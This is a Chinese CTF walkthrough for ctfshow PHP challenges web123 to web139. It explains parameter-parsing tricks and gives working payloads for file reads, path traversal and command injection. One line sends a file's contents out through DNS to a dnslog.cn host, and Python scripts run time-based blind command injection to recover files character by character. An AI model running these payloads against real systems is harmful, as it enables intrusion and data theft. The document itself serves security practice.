web123
必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
但是和这个$a=$_SERVER['argv'];
没啥关系
不过为了后面更好做题我们还是研究一下
添加链接描述
他这里对这个就讲的特别详细了,我抄一下
argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看
argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素
是aaa和bbb。argc是数组的长度。
php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]
$argv,$argc在web模式下不适用
cli模式(命令行)下
第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。
当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3
以上示例的输出类似于:
array(4) {
[0]=>
string(10) "script.php"
[1]=>
string(4) "arg1"
[2]=>
string(4) "arg2"
[3]=>
string(4) "arg3"
}
然后现在是网页模式
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]
利用$_SERVER['argv'][0]
就可以绕过对**isset($fl0g)**的判断,用+代表空格。
构造payload
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
这道题终于解决了
web125
就用argv的方法来写
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
web126
如上题
web127
extract:从数组中将变量导入到当前的符号表
还有空格可以用
?ctf show=ilove36d
web128
gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数(因为过滤了字母所以我们就用下划线,让其输出)
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
?f1=_&f2=get_defined_vars
web129
stripos:查找字符串首次出现的位置
readfile: 输出文件
题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取
GET传参:
//查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php
//直接回显base64,然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130
stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数
然后数组可以绕过preg_match
POST:
f[]=1
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。
所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数
同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow
还可以目录溢出
import requests
url="xxxxxxxxxxxxxxx"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web131
会进行字符串转换我们之前的办法用不了了
用脚本使得目录溢出
import requests
url="xxxxxxxxxxxxxxx"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web132
扫描后台,我们进admin/index.php看看
mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
生成1-877的随机数
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&比||优先级高所以可以看成是
if(($code === mt_rand(1,0x36D) && $password === $flag )|| $username ==="admin")
所以满足username=admin然后code=admin就有flag
?username=admin&code=admin&password=1
web133
$F = @$_GET['F'](防止报错)
substr($F,0,6)(截取其中的六个字符)
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
就是说执行的是eval('$F`;+sleep 3`');
然后我们就可以进行类似的构造
?F=`$F` ;ls /
?F=`$F` ;tac /f*
但是没有回显
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1
DNSlog
先点击左边的获得域名,然后传参之后再点击右边的刷新结果
flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式
ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}
web134
parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名,并将键值赋给这些变量。
对_POST进行extract,那么构造
?_POST[key1]=36d&_POST[key2]=36d
//刚好 key1=36d&key2=36d
查看源代码
web135
web133一样的东西但是我们的grep被过滤了,所以得思考一下怎么才行,但是反斜杠引号什么的没过滤,就可以用来绕过
但是不知道为什么web133的相关操作我都用不了了
只能用其他方法了比如写文件
?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt
然后访问x.txt就可以拿到flag
拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}
web136
exec相当于system
直接ls查看目录,发现一片空白,这时候就需要学新东西了
tee命令
主要用于从标准输入读取数据,并将其内容同时输出到标准输出(屏幕)和一个或多个文件中。简单来说,就像水管中的 T 形接头一样,数据流经过这里时,既可以继续流向下游,也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt
?c=ls /|tee 3
然后访问3,下载文件记事本打开
查看flag
?c=cat /f149_15_h3r3|tee 6
web 137
获得flag要调用getflag,也就是调用类里面的成员
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
必须传参ctfshow
POST:
ctfshow=ctfshow::getflag
查看源代码
web138
调用类中的成员但是不能有 :
那么刚才的方法就不能用了,但是我们的
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。
传参
POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag
查看源码
web139
import requests
import time
import string
str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = "" # 初始化一个空字符串,用于保存结果
#获取多少行
for i in range(1, 99):
key = 0 #用于控制内层循环(j)的结束
#不break的情况下,一行最多几个字符
for j in range(1, 99):
if key == 1:
break
for n in str: #n就是一个一个的返回值
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) #{n}是占位符
#print(payload)
url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5)) #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。
# 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
except:
result = result + n
print(result)
break
if n == '~': #str的最后一位,“~”不常出现,用作结尾
key = 1
# 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
result += " "
f149_15_h3r3
import requests
import time
import string
str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
for n in str:
payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
# print(payload)
url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n=="~":
result = result + "花括号"
继续跑flag